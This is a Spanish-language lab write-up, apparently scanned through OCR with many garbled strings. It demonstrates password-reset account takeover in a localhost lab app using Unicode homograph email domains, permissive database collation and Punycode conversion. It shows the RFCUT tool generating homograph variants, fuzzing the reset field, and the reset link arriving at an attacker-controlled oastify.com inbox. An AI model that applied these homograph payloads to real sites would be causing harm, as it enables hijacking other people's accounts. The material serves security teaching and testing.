e La base de datos considera equivalentes ciertos caracteres.

e EIDNS y el MTA aplican una interpretacion estricta y separan
completamente ambos dominios.

Este desacople entre capas es lo que convierte a los homografos en un
vector de ataque real.

6.2.1 El papel de Punycode (como efecto
colateral)

Aqui es importante aclarar algo: el ataque no se basa en Punycode, sino
en homografos.

Punycode es simplemente el mecanismo de transporte que permite que
estos dominios lleguen al DNS.
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Punycode, definido en la RFC 3492, es el sistema que transforma
dominios Unicode en una representacion ASCII vdlida para DNS, dando
lugar a los llamados Internationalized Domain Names (IDN).

Ejiemplo:
Dominio visual Dominio en Punycode
poc.com Xn--pc-cka.com

Asi, mientras la aplicaciéon puede tratar poc.com y pdc.com como
equivalentes, el DNS y el SMTP los consideran dominios completamente
distintos.

6.3 Automatizacion del ataque con RFCUT

Calcular manualmente todas las variantes Unicode posibles no es viable
en escenarios reales.

Aqui es donde entra RFCUT, una herramienta disenada especificamente
para explotar discrepancias de collation mediante homografos
Unicode.

Desde el menu principal de RFCUT:
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[1] Encoded-Word - Local Part
[2] Punycode - Domain
[3] Exit
> 2
[ PUNYCODE :: MAIN MODE ]
Homograph discovery
Craft malformed Punycode
Back
>1

[ PUNYCODE :: HOMOGRAPH MODE]

Generate variants for a single vowel

Generate variants for a single consonant
First vowel + first consonant [ WARNING: may overload the service ]
Back

Podemos elegir generacion de variantes tanto en vocales ,
consonantes o ambas para el testeo de diferentes collations.

Introducimos el correo original:

victim@poc.hav9ubé3lcqb7070cddp3fixwo2fgégub.oastify.com

Seleccionamos en este caso el modo de generacién 1, variantes de
vocales.
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[ INPUT ] Enter domain or email to process
> victim@poc.hav9u5631lcqbTo70cddp3fjxwo2fq6gus. oastify. com

[ DETECTED EMAIL ] .

[ INFO ] First vowel found: at position

[ PUNYCODE VARIANTS ]
Scanning Unicode blocks to generate variants...

INFO ] Elapsed time: 0.1us

. victim@pOc.
. victim@poc.
. victim@poc.
. victim@poc.
. victim@poc.
. victim@poc.
. victim@péc.
. victim@pec.
. victim@poc.

hav9u5631cqb7070cddp3fjxwo2fq6gus.
hav9u5631ecqb7o70cddp3fjxwo2fq6gus.
hav9u5631cqb7070cddp3fjxwo2fqbgub.
hav9u5631lcqb7070cddp3fjxwo2fq6gus.
hav9u5631lcqb7070cddp3f jxwo2fq6gus.
hav9u5631lcqb7070cddp3f jxwo2fq6gus.
hav9u5631cqb7070cddp3f jxwo2fq6gus.
hav9u5631cqb7070cddp3fjxwo2fq6gus.
hav9u5631ecqb7o70cddp3fjxwo2fq6gus.
. victim@pdc. hav9u5631lcqb7078cddp3fjxwo2fqbgus.
. victim@péc. hav9u5631lcqb7070cddp3fjxwo2fq6gus.
. victim@pdc. hav9u563lcqb7070cddp3fjxwo2fq6qus.
. victim@pdc. hav9u5631lcqb7070cddp3fjxwo2fq6qus.

RFCUT realiza automdticamente:

e Andlisis de blogues Unicode

e Deteccidn de equivalencias

e Generacion de variantes homografas validas

Todos los payloads quedan copiados en el portapapeles.

6.2.1 Fuzzing y explotacion

Utilizamos las variantes homografas generadas previamente
directamente contra la funcionalidad de reseteo de contfrasena,
probdndolas una a una para identificar si alguna de ellas provoca que
el correo de reseteo termine en nuestro inbox controlado.

Seleccionamos el campo email como punto de insercidn y enviamos

(this may take a few seconds)

oastify.
oastify.
oastify.
oastify.
oastify.
oastify.
oastify.
oastify.
oastify.
oastify.com
oastify.com
oastify.com
oastify.com

manualmente cada variante generada.
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Email homografo probado:

victim@péc.hav9ubé3lcgb7070cddp3fixwo2fqégub.oastify.com

victim@poc.com (ASCI) v"f

) VULN-RABLE DATABASE
WEB (with Collate)

DB check: poc.com = pde.com
APPIE;%‘;TION > pdc.com (PERMSSIVE)

PA RD RESET TRIGGERED

0 A

vietim@poc.com (Homograph)

Qué ocurre intfernamente

| SMP SERVER
> (STRICT DNS/MTA)

TRANSFORMATION

victim@poc.com

NO EMAIL SENT

EMAIL DELIVERED

ATTACKER'S INBOX

victim@pée.com (Punycode: Q
xn-pe-clka.com) ' | reset linkphp?token..

(o attacher)

En este punto se produce la discrepancia critica.

1. La aplicaciéon toma el email homografo enviado por el atacante
y lo compara contra el correo almacenado en la base de datos.
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2. Debido a un collation Unicode excesivamente permisivo, ambos
valores se consideran equivalentes.

victim@péc.hav?ubé3lcgb7070cddp3fixwo2fqégub.oastify.com

victim@poc.hav9ubé3lcqb7070cddp3fixwo2fgégub.oastify.com

3. Como resultado, la aplicacién da por vdlida la identidad del
usuario y genera un token de reseteo de contrasena.

Hasta aqui, fodo parece legitimo desde el punto de vista del backend.

El problema aparece en el siguiente paso.

El correo utilizado para enviar el token no se obtiene del valor
normalizado en base de datos, sino directamente del input controlado

por el atacante.

Antes del envio, este dominio Unicode se fransforma automdticamente

a su representacion real en DNS mediante Punycode.

El resultado es el siguiente destinatario real:

victim@xn--pc-wbb.hav9ubé3icgb7070cddp3fixwo2fqégus.oastify.com

El sistema de correo entrega correctamente el mensaje, pero lo hace al
dominio controlado por el atacante.

Time

2026-ene-16 20:00:51.224 UTC
2026-ene-16 20:00:51.673 UTC
2026-ene-16 20:00:51.700 UTC
2026-ene-16 20:00:51.936 UTC

Cylum

Payload

havou563lcqb7070cddp3fjxwo2fqégus
havou563lcqb7070cddp3fjxwo2fqbgus
havou563lcqb7o070cddp3fjxwo2fqégus

hav9u563lcqb7070cddp3fixwo2fq6gus

Source IP address Comment
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Set New Password

New Password

done

Reset Password

Back to login

En este punto, el atacante recibe el enlace de reseteo, establece una
nueva contrasena y obtiene acceso completo a la cuenta de la
victima.
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Login

Password reset successful. Please log in.

Email address

victim@poc.havOu563lcqgb7070cddp3fjxwo

Password

Login
& Login with GitLab

Forgot password? | Sign up
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Your Profile

Name: poc

Email:
victim@poc.havOu563lcgb7070cddp3fijxwo2fq6gu5.oastif

y.com

Member Since: T19:51:04.000Z

Consideracion importante:
spor qué el ataque no funciona si lo ejecutamos desde el logine
Si infroducimos directamente el email homodgrafo en la funcionalidad:

http://localhost:3000/forgot-password
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http://localhost:3000/forgot-password

Reset Password

Enter your email

victim@poc.haviu563lcgb7070cddp3fixwo2fqégu5.oasti

Send Reset Link

Back to login

La aplicacion transforma inmediatamente el dominio a Punycode antes
de redlizar la bUsqueda en base de datos:

victim@xn--pc-wbb.hav9ubé3icgb7070cddp3fixwo2fqégus.oastify.com

#~  Host Method URL
396 http://localhost:3000 POST  /forgot-password

Request
Pretty

mail=victim?40zn--pc-whb.havt

En este caso, la base de datos intenta localizar un correo que no existe,
por lo que no se produce ninguna asociacion vdlida con la cuenta de
la victima.
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Aunque el correo pueda llegar al inbox del atacante, el token no es
funcional, ya que no esta vinculado a ningun usuario real de la
aplicacion.

Conclusion del laboratorio
Este laboratorio demuestra que:

e Los dominios homografos permiten desviar flujos criticos sin
generar interacciones con el usuario legitimo.

e Las discrepancias entre validacion logica y entrega real del
correo son explotables.
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